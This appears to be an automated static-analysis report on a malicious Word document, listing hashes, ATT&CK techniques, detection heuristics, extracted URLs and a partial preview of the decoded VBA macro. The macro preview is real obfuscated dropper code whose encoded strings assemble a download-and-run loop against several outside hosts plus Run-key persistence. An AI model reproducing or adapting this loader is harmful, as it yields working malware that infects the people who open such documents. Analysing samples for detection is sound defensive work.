Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2c64500aeb41b3ba…

MALICIOUS

Office (OLE)

111.0 KB Created: 2018-02-15 03:28:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: 47752fb79fd25e4af1e7f4786368db01 SHA-1: fee67f29abf87e73daa5377eb4142c93707ddb75 SHA-256: 2c64500aeb41b3ba0fca7c86fe3454feb10a1d022f3b286c4cafd329a6ebc6f4
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Word document containing heavily obfuscated VBA macros. The AutoOpen macro, identified by multiple critical heuristics, is designed to execute code that decodes and runs a payload. The script reconstructs the URL "http://cceSo+eSoweSo" and the registry key "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy", indicating an attempt to download a second-stage payload and establish persistence.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6449513-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6449513-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://cceSo+eSoweSo In document text (OLE body)
    • http://pacifeSZC+SZCSoOKijfSzWMIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 27987 bytes
SHA-256: 1c1dd668c33a97ccf7428a6bd70c75f89b8467cb61720890cc08fe4264aca561
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "iaBEQGD"
Function IiOthTrIDwAjd()
On Error Resume Next
zXBvr = (kRiOb - Int(jjvqui) * UsUSsjrZQTt / Oct(KOGZcbR) - (AoCcoAGSGUtU - Sin(2894025)))
ZDzSsWBz = (NJjow - Int(fdTwoDR) * cJTPdsffprdsc / Oct(TvaYwGBzq) - (fDJXUEoliMqw - Sin(137809)))
iaiJS = (rWXhUrLDlG - Int(XYQGKtf) * fkZiILlD / Oct(JQjWvwjaiTcwc) - (RDMwjXiYSK - Sin(5699812)))
BqDapGH = (zjhCDGozX) + HJjkJKD("cSo(SZC+SZCXCMInSZClwY+lwY+SZ'+'CeSo+eSovoXCMeSo+eSo+eSo+eSoXCMkeSo+eSZC+SZCSoX'+'eSo+'+'eSoCeSo+elwY+lwYSoMeSo+eSo+XeSo+eSoCeSPXwLowZOEjNzTzJvuDKjENz", 2, 126)
RbSEHTSwoNO = (JHfvO - Int(fNlzY) * aDPmTztKJjzjY / Oct(EozwtIIS) - (JHTHiIFJWwv - Sin(510980)))
waYYdjivTKs = (UtIbIKscK - Int(XuArPoEPjHTFfz) * PBDXahcRfUEnR / Oct(wZHwIwNdRqUSiM) - (FPOIltJpEkRudU - Sin(4454477)))
ZqrciVC = (AnQlhLG - Int(DdljMCIwQ) * aEpijGpkD / Oct(rBjJufT) - (SbNtIsFIHZ - Sin(5425803)))
zGzprjjO = (XocbjjbZCU) + HJjkJKD("KbzCbFDFCXGu FexSZC+SZCenkk", 13, 13)
zzpLE = (tcphj - Int(fpIhwzZXzP) * BlYXcP / Oct(KzXJfQlQMC) - (ikuSzno - Sin(9723624)))
HCGwFjZ = (WYwjJfo - Int(HHiQNN) * lFWKrwfkW / Oct(UfNill) - (iCGlAozzbiJ - Sin(995740)))
uMJjRGfOr = (wRXXhuQdG - Int(qnaapzbY) * WvmKGlkQW / Oct(QRWfwKC) - (pBrUFX - Sin(7405245)))
CzVlk = (VWHJvzIsf) + HJjkJKD("DOEANrUDHBiHfo+eSoMe-IteSo+eSoemeSo+eSoXCM)'+'(FexSDCeSo+eSo);beSo+eSoreeSo+eSoaeSo+eSok;'+'}caSZC+'+'SZCtch{}}SZC+SZCeSo) -RepLACe  (oLRKFYUwwkj", 14, 121)
wzIOKUs = (bPmrlW - Int(BqOXrnJCML) * LhwWwvsD / Oct(Oamhn) - (qzzXIOjKhlzjZw - Sin(7476762)))
NXWzqA = (hHanmLFQrw - Int(RQbEhjvzKDo) * BbXPk / Oct(MTFRn) - (iGAIftijJhRuF - Sin(6327267)))
Dzivmz = (zdBcXsFZ - Int(OvUPffc) * ciaaj / Oct(RQUItTJdJDkM) - (DpPzYhoujZTBi - Sin(1017720)))
uzSuXNHYu = (cMHQlwduTqwU) + HJjkJKD("UbTlDNZDmEvDKrwDoZrlTIdJRN'jOINeSTjG", 27, 7)
IrzRVT = (SoYKNiBsus - Int(rBGOOrMnzuw) * UiNPM / Oct(mJzIojphHE) - (EzVzBTAdzrKY - Sin(9718613)))
qwhkD = (jVoDfATp - Int(HjkiNXZh) * IztzaCTKMlO / Oct(bkzqFNAdbDU) - (jONQlnF - Sin(4708173)))
HbDNHotrT = (aQzZmv - Int(kVniajfzlsHK) * DIEidQMpC / Oct(ZfqaBUzQT) - (OsGQloAi - Sin(2738375)))
pWpdOAR = (kMFCllQ) + HJjkJKD("TKUcGjHOQCSZC+SZC?http://'+'gaeS'+'o+eSosveeSo+eSorsoeSo+eSorgerveSlwY+lwYo+eSoergleich.biz/ms27r/?http://cceSo+eSoweSo'+'+eSoclass.lwY+lwYnet/6SrleSo+eSoSeSo+eSocT/?hteSo+eSotXNFiBECULjn", 12, 165)
FqvSLGkrC = (ntoQd - Int(WftkqTiIfU) * iRKJCiFuEjuRrC / Oct(uPXbGFFVLRVTt) - (vWFHqJrBtlKj - Sin(4258107)))
vpzORR = (rcOChAZSk - Int(Nsdww) * hPMHINpKAswtW / Oct(QXjjdjDSlsNc) - (BtwjvCAEuXOQ - Sin(5816079)))
BLrzQdmrq = (DBoCfwwnqJwS - Int(pOiTujc) * QCLCrVhVzUQz / Oct(zRwqhjmODojcnL) - (QETkBznzczoaR - Sin(3360993)))
zjwGdvYmC = (iwODjGiilbosJL) + HJjkJKD("YOwGdWCZaZULalw'+'Y+lwYR]102+[CSZC+lwY+lwYSZCHaR]79+[CHaR]112)sKzMRSMBDzwTOIjffpiDSZW", 13, 50)
kdRvl = (zLRTqtGUwMzDJU - Int(tjbHkLaal) * ZjQaM / Oct(oAVVifNmStVcAN) - (QjnzVTtvm - Sin(4431627)))
VRLDjGHRO = (fTQKqtkQLCnw - Int(OWoorpzZYcJzc) * rbuFjwtzuV / Oct(DbskCW) - (lwiziEDwZL - Sin(1439352)))
rMoaw = (HKNQtoRwEAwOc - Int(foNFpWFj) * jurwpBm / Oct(hsDOwpLzv) - (ZXkzUXMYPiUW - Sin(7182591)))
ETQYkOFLmB = (cZEJqEvAf) + HJjkJKD("XjwRkojjrwopvjjpEoeSo)lwY+lwY (((eSoFexnlwY+lwYeSo+eSosadaseSo'+'+eSodeSo+eSoSqEMFVNIdwVYQrFWTLDvt", 18, 60)
PvfCffuSCn = (aUkQmDELGRo - Int(IpzDJ) * FJhzwHrRjO / Oct(AFQRzvjGKI) - (WFQHPiq - Sin(2577668)))
lzDbrfUU = (qbBDUA - Int(WdZVXqiGMX) * ItRwzVrmchqr / Oct(aSGmZEN) - (wTKdknqjWJvsth - Sin(3891881)))
WhIFcU = (tbfLhYvflNuEj - Int(hHKnKaGTOiBGFX) * zStwPtzZBPZXis / Oct(tlwZcniGW) - (kZMzKbTXjluBG - Sin(3914866)))
GKQFDGFm = (EhwCFtlfJd) + HJjkJKD("k+eSoXCM.eSoSZC+SZC+eSoexXCM+XCMeXCM);fSZC+SZ'+'CoreSo+elwY+lwYSoeach(eSo'+'+eSolwY+lwYFeSo+eSoexaeSo+'+'eSoseSo+eSoSZC+SZ'+'Cf'+'c ieSo+eS'+'SZC+SZConeSo+eSo FeeSo+SZC+SZCeSoxADCeSo+eSoX'+'eSlwDOwGjBLNjTuiw", 2, 193)
OjTXl = 
... (truncated)

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